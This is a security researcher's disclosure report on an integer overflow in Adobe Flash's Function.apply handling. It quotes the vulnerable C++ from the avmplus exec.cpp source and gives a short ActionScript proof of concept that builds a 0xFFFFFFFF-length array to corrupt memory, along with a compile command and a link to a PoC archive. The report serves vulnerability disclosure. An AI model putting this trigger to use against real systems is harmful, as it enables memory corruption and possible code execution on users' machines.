Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]
VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.
VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1
REPRODUCTION CASE
From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp
944 // Specialized to be called from Function.apply().
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a)
946 {
947 int32_t argc = a->getLength();
...
966 // Tail call inhibited by local allocation/deallocation.
967 MMgc::GC::AllocaAutoPtr _atomv;
968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow
969 atomv[0] = thisArg;
970 for (int32_t i=0 ; i < argc ; i++ )
971 atomv[i+1] = a->getUintProperty(i);
972 return env->coerceEnter(argc, atomv);
973 }
So the idea is to use the rest argument to get a working poc. For example:
public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
}
public function XApplyPoc() {
var a:Array = new Array()
a.length = 0xFFFFFFFF
myFunc.apply(this, a)
}
Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip
